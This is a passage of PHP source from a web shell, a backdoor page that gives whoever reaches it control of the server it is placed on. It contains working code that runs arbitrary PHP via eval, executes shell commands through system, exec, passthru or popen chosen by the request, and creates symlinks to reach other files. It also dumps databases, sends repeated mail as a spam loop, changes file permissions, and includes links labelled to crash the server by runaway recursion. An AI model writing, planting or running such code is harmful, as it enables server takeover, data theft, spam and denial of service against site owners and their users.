1976
1977 if (is_writable($_REQUEST['address'])) {
1978
1979 $dir = $_GET['address'] . $_GET['filename'];
1980
1981 deleteDirectory($dir);
1982
1983 alert("Deleted Successful !");
1984
1985 } else {
1986 alert("Permission Denied !");
1987 }
1988
1989 } elseif ($_GET['type'] == "file") {
1990
1991 if (is_writable($_GET['address'] . $_GET['filename'])) {
1992
1993 unlink($_GET['address'] . $_GET['filename']);
1994 alert("Deleted Successful !");
1995
1996 } else {
1997 alert("Permission Denied !");
1998 }
1999
2000 }
2001
2002}
2003
2004if ($_POST['fedit'] && $_POST['namefe']) {
2005
2006 if (is_writable($_REQUEST['address'])) {
2007
2008
2009 $opensave = fopen($_POST['address'] . $slash . $_POST['namefe'], "w");
2010
2011 fwrite($opensave, html_entity_decode($_POST['fedit']));
2012
2013 fclose($opensave);
2014 alert("File Saved Successful !");
2015
2016 } else {
2017 alert("Permission Denied !");
2018 }
2019
2020}
2021
2022if ($_POST['evalsource']) {
2023
2024
2025 eval($_POST['evalsource']);
2026
2027}
2028
2029if ($_GET['do'] == "eval") {
2030
2031 echo $head . $formp . $nowaddress .
2032 '<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>' .
2033 $end;
2034 exit;
2035
2036}
2037
2038if ($_GET['do'] == "info") {
2039
2040
2041 if (ini_get('register_globals')) {
2042
2043 $registerg = "Enable";
2044
2045 } else {
2046
2047 $registerg = "disable";
2048
2049 }
2050
2051 if (extension_loaded('curl')) {
2052
2053 $curls = "Enable";
2054
2055 } else {
2056
2057 $curls = "disable";
2058
2059 }
2060
2061 if (@function_exists('mysql_connect')) {
2062
2063 $db_on = "Mysql : On";
2064
2065 }
2066 ;
2067
2068 if (@function_exists('mssql_connect')) {
2069
2070 $db_on = "Mssql : On";
2071
2072 }
2073 ;
2074
2075 if (@function_exists('pg_connect')) {
2076
2077 $db_on = "PostgreSQL : On";
2078
2079 }
2080 ;
2081 if (@function_exists('ocilogon')) {
2082
2083 $db_on = "Oracle : On";
2084
2085 }
2086 ;
2087
2088
2089 echo $head . "<font face='Tahoma' size='2'>Operating System : " . php_uname() .
2090 "<br>Server Name : " . $_SERVER['HTTP_HOST'] . "<br>Disable_Functions : " . $disablef .
2091 "<br>Safe_Mode : " . $safe_modes . "<br>Openbase_dir : " . ini_get('openbase_dir') .
2092 "<br>Php Version : " . phpversion() . "<br>Free Space : " . sizee(disk_free_space
2093 ("/")) . "<br>Total Space : " . sizee(disk_total_space("/")) .
2094 "<br>Register_Globals : " . $registerg . "<br>Curl : " . $curls .
2095 "<br>Database " . $db_on . "<br>Server Name : " . $_SERVER['HTTP_HOST'] .
2096 "<br>Admin Server : " . $_SERVER['SERVER_ADMIN'] . $end;
2097
2098 exit;
2099
2100}
2101
2102if ($_GET['do'] == "cmd") {
2103
2104 echo $head . '
2105
2106<form method=get action="' . $me . '">
2107
2108<p align="center">
2109
2110<textarea rows="19" name="S1" cols="87">';
2111
2112 if (strlen($_GET['command']) > 1 && $_GET['execmethod'] != "popen") {
2113
2114 echo $_GET['execmethod']($_GET['command']);
2115 }
2116
2117 if (strlen($_POST['command']) > 1 && $_POST['execmethod'] != "popen") {
2118
2119 echo $_POST['execmethod']($_POST['command']);
2120 }
2121
2122
2123 if (strlen($_GET['command']) > 1 && $_GET['execmethod'] == "popen") {
2124
2125 popen($_GET['command'], "r");
2126 }
2127
2128
2129 echo '</textarea></p><p align="center">
2130
2131<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod>
2132
2133 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
2134
2135</select><input type="submit" value="eXecute">
2136
2137</p></form>' . $end;
2138 exit;
2139}
2140
2141if ($_GET['do'] == "symlink") {
2142
2143 echo $head . '
2144
2145<form method=post action="' . $me . '">
2146
2147<p align="center">
2148
2149SymLink With PHP<br><input name=ad1syp size=50> TO <input value="' . getcwd() .
2150 $slash . "symlink.txt" .
2151 '" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form>
2152
2153<form method=post action="' . $me . '"><p align="center">
2154
2155
2156
2157SymLink With OS : <br><input name=ad1syc size=50> TO <input value="' . getcwd() .
2158 $slash . "symlink.txt" .
2159 '" name=ad2syc size=50><br><input type=submit value=SymLink!>
2160
2161</p></form>' . $end;
2162 exit;
2163}
2164
2165if ($_POST['ad1syp'] && $_POST['ad2syp']) {
2166
2167 if (symlink($_POST['ad1syp'], $_POST['ad2syp'])) {
2168
2169 alert("Symlink Worked !");
2170
2171 } else {
2172
2173 alert("Symlink Not Worked !");
2174
2175 }
2176}
2177
2178if ($_POST['ad1syc'] && $_POST['ad2syc']) {
2179
2180 if (system('ls -s ' . $_POST['ad1syc'] . " " . $_POST['ad2syc'])) {
2181
2182 alert("Symlink Worked !");
2183
2184 } else {
2185 alert("Symlink Not Worked !");
2186 }
2187
2188}
2189
2190if ($_GET['do'] == "d0slocal") {
2191
2192 echo $head . '
2193
2194<p align="center">If You Click This Link This Server Crashed.<br>This Worked In Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>' .
2195 $end;
2196 exit;
2197}
2198
2199if ($_GET['dosthisserver'] == "1") {
2200
2201 function dosserver() {
2202
2203 $junk = str_repeat("99999999999999999999999999999999999999999999999999", 99999);
2204
2205 for ($i = 0; $i < 2; ) {
2206
2207 $buff = bcpow($junk, '3', 2);
2208
2209 $buff = null;
2210
2211 }
2212
2213 }
2214
2215 dosserver();
2216
2217}
2218
2219if ($_GET['dosthisserver'] == "2") {
2220
2221 function cx() {
2222 cx();
2223 }
2224
2225 cx();
2226
2227}
2228
2229if ($_GET['do'] == "convert") {
2230
2231 $hash = null;
2232
2233 if ($_GET['stringtoh'] && $_GET['hashtoh'] == 'md5') {
2234
2235 $hash = md5($_GET['stringtoh']);
2236
2237 } elseif ($_GET['stringtoh'] && $_GET['hashtoh'] == 'sh1') {
2238
2239 $hash = sha1($_GET['stringtoh']);
2240
2241 } elseif ($_GET['stringtoh'] && $_GET['hashtoh'] == 'crc32') {
2242
2243 $hash = crc32($_GET['stringtoh']);
2244
2245 } elseif ($_GET['stringtoh'] && $_GET['hashtoh'] == 'b64e') {
2246
2247 $hash = base64_encode($_GET['stringtoh']);
2248
2249 } elseif ($_GET['stringtoh'] && $_GET['hashtoh'] == 'b64d') {
2250
2251 $hash = base64_decode($_GET['stringtoh']);
2252
2253 }
2254
2255 echo $head . '
2256
2257<form method=get action="' . $me . '">
2258
2259<p align="center">Convert<br><input type=hidden name=do value=convert>
2260
2261<input name=stringtoh size=58><select name=hashtoh>
2262
2263<option value="md5">MD5</option>
2264
2265<option value="crc32">CRC32</option>
2266
2267<option value="sha1">SHA1</option>
2268
2269<option value="b64e">Base64 Encode!</option>
2270
2271<option value="b64d">Base64 Decode!</option>
2272
2273<br><textarea cols=60 rows=18>' . $hash .
2274 '</textarea><br><input type=submit value="Convert">
2275
2276
2277
2278</p></form>' . $end;
2279 exit;
2280}
2281
2282if ($_GET['do'] == "dump") {
2283
2284 echo $head . '<p align="center">';
2285
2286 echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="' .
2287 $me . '"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table>' .
2288 $end;
2289 exit;
2290}
2291
2292if ($_POST['username'] && $_POST['dbname'] && $_POST['method']) {
2293
2294 $date = date("Y-m-d");
2295
2296 $dbserver = $_POST['server'];
2297
2298 $dbuser = $_POST['username'];
2299
2300 $dbpass = $_POST['password'];
2301
2302 $dbname = $_POST['dbname'];
2303
2304 $file = "Dump-$dbname-$date";
2305
2306 $method = $_POST['method'];
2307
2308 if ($method == 'sql') {
2309
2310 $file = "Dump-$dbname-$date.sql";
2311
2312 $fp = fopen($file, "w");
2313
2314 } else {
2315
2316 $file = "Dump-$dbname-$date.sql.gz";
2317
2318 $fp = gzopen($file, "w");
2319
2320 }
2321
2322 function write($data) {
2323
2324 global $fp;
2325
2326 if ($_POST['method'] == 'sql') {
2327
2328 fwrite($fp, $data);
2329
2330 } else {
2331
2332 gzwrite($fp, $data);
2333
2334 }
2335 }
2336
2337 mysql_connect($dbserver, $dbuser, $dbpass);
2338
2339 mysql_select_db($dbname);
2340
2341 $tables = mysql_query("SHOW TABLES");
2342
2343 while ($i = mysql_fetch_array($tables)) {
2344
2345 $i = $i['Tables_in_' . $dbname];
2346
2347 $create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
2348
2349 write($create['Create Table'] . ";\n\n");
2350
2351 $sql = mysql_query("SELECT * FROM " . $i);
2352
2353 if (mysql_num_rows($sql)) {
2354
2355 while ($row = mysql_fetch_row($sql)) {
2356
2357 foreach ($row as $j => $k) {
2358
2359 $row[$j] = "'" . mysql_escape_string($k) . "'";
2360
2361 }
2362
2363 write("INSERT INTO $i VALUES(" . implode(",", $row) . ");\n");
2364
2365 }
2366
2367 }
2368
2369 }
2370
2371 if ($method == 'sql') {
2372
2373 fclose($fp);
2374
2375 } else {
2376
2377 gzclose($fp);
2378 }
2379
2380 header("Content-Disposition: attachment; filename=" . $file);
2381
2382 header("Content-Type: application/download");
2383
2384 header("Content-Length: " . filesize($file));
2385
2386 flush();
2387
2388
2389 $fp = fopen($file, "r");
2390
2391 while (!feof($fp)) {
2392
2393 echo fread($fp, 65536);
2394
2395 flush();
2396
2397 }
2398
2399 fclose($fp);
2400
2401}
2402
2403
2404if ($_GET['do'] == "mail") {
2405
2406 echo $head . '
2407
2408<form method=post action="' . $me . '">
2409
2410<p align="center">
2411
2412Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=70 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>' .
2413 $end;
2414 exit;
2415}
2416
2417if ($_POST['admail'] && $_POST['submail']) {
2418
2419 for ($mi = 0; $mi < intval($_POST['numail']); $mi++) {
2420
2421 mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);
2422 }
2423
2424}
2425
2426if ($_GET['do'] == "db") {
2427
2428 echo $head;
2429 sqlclienT();
2430 echo $end;
2431
2432 exit;
2433
2434}
2435
2436if ($_REQUEST['file2ch'] && $_REQUEST['chmodnow']) {
2437
2438 $chmodnum2 = $_REQUEST['chmodnow'];
2439
2440 chmod($_REQUEST['file2ch'], "0" . $chmodnum2);
2441
2442}
2443
2444if ($_GET['do'] == "chmod") {
2445
2446 echo $head . $formg . $nowaddress .
2447 "<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='" . $_REQUEST['address'] .
2448 $_REQUEST['filename'] .
2449 "'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>" .
2450 $end;
2451 exit;
2452
2453
2454}
2455
2456/* if($_GET['do']=="edit"){
2457
2458if($_GET['filename']=="dir"){
2459
2460if(is_readable($_GET['address'])){
2461
2462chdir($_GET['address']);}else{alert("Permission Denied !");}
2463
2464
2465
2466}} */
2467
2468$araddresss = explode($slash, getcwd());
2469
2470$matharrayy = count($araddresss) - 1;
2471
2472$addr1backk = str_replace($araddresss[$matharrayy], "", $araddresss);
2473
2474for ($countback = 0; $countback < count($addr1backk); $countback++) {
2475
2476 $arraybacke[$countback] = $slash . $addr1backk[$countback];
2477
2478 $backdirunixx = $backdirunixx . $slash . $addr1backk[$countback];
2479
2480}
2481
2482if ($slash == "\\") {
2483
2484 $countback = null;
2485
2486 $backdirwin = null;
2487
2488 for ($countback = 1; $countback < count($addr1backk); $countback++) {
2489
2490 $backdirwin = $backdirwin . "\\" . $addr1backk[$countback];
2491 }
2492
2493 $backdirwin = $addr1backk[0] . $backdirwin;
2494
2495 $backaddresss = $backdirwin;
2496
2497} else {
2498
2499 $countback = null;
2500
2501 $backdirwin = null;
2502
2503 for ($countback = 1; $countback < count($addr1backk); $countback++) {
2504
2505 $backdirwin = $backdirwin . "/" . $addr1backk[$countback];
2506 }
2507
2508 $backdirwin = $addr1backk[0] . $backdirwin;
2509
2510 $backaddresss = $backdirwin;
2511
2512 $backaddresss = str_replace("\\", "/", $backaddresss);
2513
2514}
2515
2516function calc_dir_size($path) {
2517
2518 $size = 0;
2519
2520 if ($handle = opendir($path)) {
2521
2522 while (false !== ($entry = readdir($handle))) {
2523
2524 $current_path = $path . '/' . $entry;
2525
2526 if ($entry != '.' && $entry != '..' && !is_link($current_path)) {
2527
2528 if (is_file($current_path))
2529 $size += filesize($current_path);
2530
2531 elseif (is_dir($current_path))
2532 $size = calc_dir_size($current_path);
2533
2534 }
2535
2536 }
2537
2538 }
2539
2540 closedir($handle);
2541
2542 return $size;
2543
2544}
2545
2546function openf($parsef) {
2547
2548 global $basep, $slash;
2549
2550
2551 if (strlen(strpos(getcwd(), $basep)) >= 1) {
2552
2553 $rr = str_replace($basep, "", getcwd());
2554
2555 $rr = str_replace("\\", "/", $rr);
2556
2557 $diropen = '<a href="' . $rr . "/" . $parsef . '">' . $parsef . '</a>';
2558
2559 } else {
2560
2561 $diropen = '<a href="?do=edit&address=' . getcwd() . $slash . '&filename=' . $parsef .
2562 '">' . $parsef . '</a>';
2563
2564 }
2565
2566 return $diropen;
2567
2568}
2569
2570if ($_GET['address']) {
2571 $ifget = $_GET['address'];
2572}
2573if ($_POST['address']) {
2574 $ifget = $_POST['address'];
2575}
2576
2577if ($cwd == '') {
2578 $cwd = getcwd();
2579}
2580$nowaddress = '<input type=hidden name=address value="' . $cwd . '">';
2581
2582$ad = getcwd();
2583
2584$hand = opendir("$ad");
2585
2586$coi = 0;
2587
2588$coi2 = 0;
2589
2590
2591while (false !== ($fileee = readdir($hand))) {
2592
2593
2594 if ($fileee != "." && $fileee != "..") {
2595
2596 if (filetype($fileee) == "dir") {
2597
2598 if ($coi % 2) {
2599
2600 $colort = '"#e7e3de"';
2601
2602 } else {
2603
2604 $colort = '"#e4e1de"';
2605
2606
2607 }
2608
2609 $coi++;
2610
2611 $fil = $fil . '<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor=' .
2612 $colort . ' width="950" height="1" dir="ltr">
2613
2614<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $oo .
2615 '\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .
2616 $picdir . '" /> <a href="?address=' . $cwd . $slash . $fileee . $slash . '">' .
2617 $fileee . '</b></span></td>
2618
2619<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">' .
2620 date("y/m/d", filectime($fileee)) .
2621 '</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">' .
2622 substr(sprintf('%o', fileperms($cwd . $slash . "$fileee")), -3) .
2623 '</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=dir&address=' .
2624 $cwd . $slash . '&dirname=' . $fileee .
2625 '">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address=' .
2626 $cwd . $slash . '&filename=' . $fileee . '">Ren</a></td>
2627
2628<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address=' .
2629 $cwd . $slash . '&filename=' . $fileee . '">Del</a></td></tr></table>';
2630 } else {
2631
2632
2633 if ($coi2 % 2) {
2634
2635 $colort = '"#e7e3de"';
2636
2637 } else {
2638
2639 $colort = '"#e4e1de"';
2640
2641 }
2642
2643
2644 $coi2++;
2645
2646 $file = $file . '<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor=' .
2647 $colort . ' width="950" height="20" dir="ltr">
2648
2649<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $oo .
2650 '\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .
2651 $picfile . '" /> ' . openf($fileee) . '</span></td>
2652
2653<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">' .
2654 sizee(filesize($fileee)) .
2655 '</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">' .
2656 date("y/m/d", filectime($fileee)) .
2657 '</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">' .
2658 substr(sprintf('%o', fileperms($cwd . $slash . "$fileee")), -3) .
2659 '</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address=' .
2660 $cwd . $slash . '&filename=' . $fileee .
2661 '">Edit</a></td><td valign="top" height="19" width="23"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=file&address=' .
2662 $cwd . $slash . '&filename=' . $fileee .
2663 '">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address=' .
2664 $cwd . $slash . '&filename=' . $fileee . '">Ren</a></td>
2665
2666<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address=' .
2667 $cwd . $slash . '&filename=' . $fileee . '">Del</a></td></tr></table>';
2668 }
2669
2670 }
2671
2672}
2673
2674echo $head . '
2675
2676<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
2677
2678<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : ' .
2679 getcwd() . "<br>" . printdrive() . '<br><a href="?do=back&address=' . $backaddresss .
2680 '"><font color=#000000>Back</span></td>
2681
2682</tr></table>' . $fil . $file . '</table>
2683
2684<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5">
2685
2686<tr>
2687
2688<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2689
2690<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2691 'Command Execute : </font></td>
2692
2693<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input type=hidden name=address value=' .
2694 getcwd() . '><input name=command value=id size=50><input type=hidden name=do value=cmd size=50> <select name=execmethod>
2695
2696 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option>
2697
2698</select> <input type=submit value="Execute"></form></td></tr>
2699
2700<tr>
2701
2702<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2703
2704<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2705 'Change Dir : </font></td>
2706
2707<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value=' .
2708 getcwd() . $slash . ' size=50>
2709
2710<input type=submit value=Change></form></td></tr>
2711
2712<tr>
2713
2714<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2715
2716<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2717 'Create Dir : </font></td>
2718
2719<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cdirname value=' .
2720 getcwd() . $slash . ' size=50><input type=hidden name=address value=' . getcwd() .
2721 '><input type=submit value=" Create "></form></td></tr>
2722
2723<tr>
2724
2725<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2726
2727<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2728 'Create File : </font></td>
2729
2730<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cfilename value=' .
2731 getcwd() . $slash . ' size=50> <input type=hidden name=address value=' . getcwd() .
2732 '><input type=submit value=" Create "></form></td></tr>
2733
2734<tr></form>
2735
2736<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2737
2738<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2739 'Upload : </font></td>
2740
2741<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><form action="' .
2742 $me . '" method=post enctype=multipart/form-data>' . $nowaddress . '
2743
2744<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value=' .
2745 getcwd() . '>
2746
2747<input type=submit value=Upload /></form></td></tr>
2748
2749<tr>
2750
2751<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
2752
2753<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
2754 'Copy File : </font></td>
2755
2756<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input size=20 name=copyname><input type=hidden name=address value="' .
2757 getcwd() . '"> To <input size=40 name=cpyto value="' . getcwd() . $slash .
2758 '"> <input type=submit value =Copy></form></td></tr>
2759
2760' . $end;
2761
2762?>